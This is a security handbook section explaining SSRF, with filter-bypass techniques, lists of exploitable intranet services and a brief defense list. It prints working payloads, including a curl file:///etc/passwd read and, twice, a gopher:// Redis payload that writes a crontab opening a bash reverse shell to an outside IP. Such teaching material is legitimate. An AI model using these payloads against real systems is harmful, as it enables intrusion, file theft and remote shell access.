4.4. SSRF

4.4.1. Introduction

Server Side Request Forgery (SSRF) refers to an attacker using a server vulnerability to send a constructed request as the server to the intranet where the server is located when the attacker fails to obtain all the permissions of the server. SSRF attacks typically target internal systems that are not directly accessible by external networks.

4.4.1.1. Vulnerability hazards

SSRF can perform port scanning on the external network, the internal network where the server is located, or locally, attack applications running on the internal network or local, or use the File protocol to read local files.

Intranet service defense is generally weaker than external network services, and even some intranet services do not have access permission verification for intranet access for convenience of operation and maintenance. Therefore, when SSRF exists, it usually causes greater harm.

4.4.2. Utilization

There are many forms and different scenarios of SSRF exploitation, and different exploitation and bypass methods can be used for different scenarios.

Taking curl as an example, you can use the dict protocol to operate Redis, the file protocol to read files, and the gopher protocol to bounce Shell and other functions. Common payloads are as follows:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * attention: use single quotes for links to avoid $variable issues

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

4.4.3. Associated Hazard Functions

The dangerous functions involved in SSRF are mainly network access, which supports network reading of pseudo-protocols. Taking PHP as an example , the functions involved are file_get_contents() / fsockopen() / curl_exec() etc.

4.4.4. Filter Bypass

4.4.4.1. Change IP address writing

Some developers will filter out intranet IPs by regular matching of passed URL parameters, such as the following regular expressions:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

For this kind of filtering, we use the way of rewriting IP to bypass. For example, the IP address of 192.168.0.1 can be rewritten as:

  • Octal format: 0300.0250.0.1

  • Hexadecimal format: 0xC0.0xA8.0.1

  • Decimal integer format: 3232235521

  • Hexadecimal integer format: 0xC0A80001

  • Combined last two digits: 1.1.278 / 1.1.755

  • Combined three digits: 1.278 / 1.755 / 3.14159267

In addition, each digit in the IP can be mixed with each base.

When accessing the rewritten IP address, Apache will report 400 Bad Request, but other services such as Nginx and MySQL can still work normally.

In addition, the IP 0.0.0.0 can be directly accessed locally, and is usually missed by regular filtering.

4.4.4.2. Use the domain name resolved to the intranet

If the server does not resolve the IP first and then filter the intranet address, we can use localhost to resolve the domain name to the intranet.

In addition xip.io,a convenient service is provided, the subdomain name of this website will resolve to the corresponding IP, such as 192.168.0.1.xip.io, and resolve to 192.168.0.1.

4.4.4.3. Problems with parsing URLs

In some cases, the backend program may parse the accessed URL and filter the parsed host address. At this time, there may be improper parsing of URL parameters, which can bypass filtering.

For example, http://www.baidu.com@192.168.0.1/ when the back-end program parses the content of the above URL through an incorrect regular expression (such as the content of the characters after http to com, that is, www.baidu.com, which is considered to be the host address of the access request) , it is very likely that the host accessing the URL is www.baidu.com, but in fact the content requested by this URL is the content on 192.168.0.1.

4.4.4.4. Using jumps

If the backend server correctly parses the host of the URL and filters it after receiving the parameters, we can use the jump method to bypass it at this time.

You can use services such as http://httpbin.org/redirect-to?url=http://192.168.0.1 to jump to, but since the URL contains the intranet IP address of 192.168.0.1, it may be expressed by regular expressions It can be bypassed by means of short addresses.

Commonly used jumps are 302 jumps and 307 jumps. The difference is that 307 jumps will forward the data in the POST request, but 302 jumps will not.

4.4.4.5. Via various non-HTTP protocols

If the server-side program verifies the protocol used to access the URL, it can be used through a non-HTTP protocol.

For example, through gopher, a POST or GET request can be constructed in a url parameter, so as to achieve the purpose of attacking intranet applications. For example, you can use the gopher protocol to attack the Redis service on the intranet, you can use the following URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

In addition to the gopher protocol, the File protocol is also a commonly used protocol in SSRF. This protocol is mainly used to access files in the local computer. We can access the local files of the computer through file:///path/to/file format. Using the file protocol can avoid the filtering of the accessed IP by the server program. For example, we can access the content of 1.txt in the D drive through file:///d:/1.txt.

4.4.4.6. DNS Rebinding

A common protection idea is: for the URL parameter requested by the user, the server will first perform DNS resolution on it, and then judge the IP address returned by the DNS server. If it is in the blacklist, the request will be prohibited.

However, in the whole process, there is a time difference between the first request to the DNS service for domain name resolution and the second time the server requests the URL. Using this time difference, a DNS rebinding attack can be performed.

To complete the DNS rebinding attack, we need a domain name, and assign the resolution of this domain name to our own DNS Server, write a resolution service on our controllable DNS Server, and set the TTL time to 0. In this way, the attack can be carried out. The complete attack process is as follows:

  • The server side obtains the URL parameters, performs the first DNS resolution, and obtains a non-intranet IP

  • The obtained IP is judged and found to be a non-blacklisted IP, then the verification is passed.

  • The server accesses the URL. Since the TTL set by the DNS server is 0, DNS resolution is performed again. This time, the DNS server returns the intranet address.

  • Since the verification has been bypassed, the server returns the result of accessing intranet resources.

4.4.4.7. Using IPv6

Some services do not consider IPv6, but the intranet supports IPv6, you can use IPv6 local IP such as [::] 0000::1 or IPv6 intranet domain name to bypass filtering.

4.4.4.8. Using IDN

Some network access tools such as Curl support Internationalized Domain Names (IDNs). IDNs, also known as domain names with special characters, refer to Internet domain names that are partially or completely composed of special characters or letters.

Among these characters, some characters will do an equivalent conversion when accessing, such as ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ and example.com quivalent. In this way, you can bypass intranet restrictions with characters such as ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩.

4.4.5. Possible exploit points

4.4.5.1. Intranet service

  • Apache Hadoop remote command execution

  • axis2-admin deploy Server command execution

  • Confluence SSRF

  • counchdb WEB API remote command execution

  • dict

  • docker API remote command execution

  • Elasticsearch engine Groovy script command execution

  • ftp / ftps（FTP blastin）

  • glassfish arbitrary file reading and war file deployment indirect command execution

  • gopher

  • HFS remote command execution

  • http、https

  • imap/imaps/pop3/pop3s/smtp/smtps（blasting email username and password）

  • Javadebugging interface command execution

  • JBOSS remote Invoker war command execution

  • Jenkins Scripts interface command execution

  • ldap

  • mongodb

  • php_fpm/fastcgi command execution

  • rtsp - smb/smbs（connect to SMB）

  • sftp

  • ShellShock command execution

  • Struts2 command execution

  • telnet

  • tftp (UDP protocol extension)

  • tomcat command execution

  • WebDav PUT upload arbitrary files

  • WebSphere Admin deployable war indirect command execution

  • zentoPMS remote command execution

4.4.5.2. Redis utilization

  • write ssh public key

  • write crontab

  • Write WebShell

  • Windows write startup items

  • Master-slave replication to load .so files

  • Master-slave replication to write lossless files

4.4.5.3. Cloud hosting

In cloud environments such as AWS and Google, by accessing the metadata API or management API of the cloud environment, sensitive information and other effects can be achieved in some cases.

4.4.6. Defense methods

  • Filter the returned information

  • Unified error message

  • limit request ports

  • Prohibit unusual protocols

  • For DNS Rebinding, consider using DNS cache or Host whitelist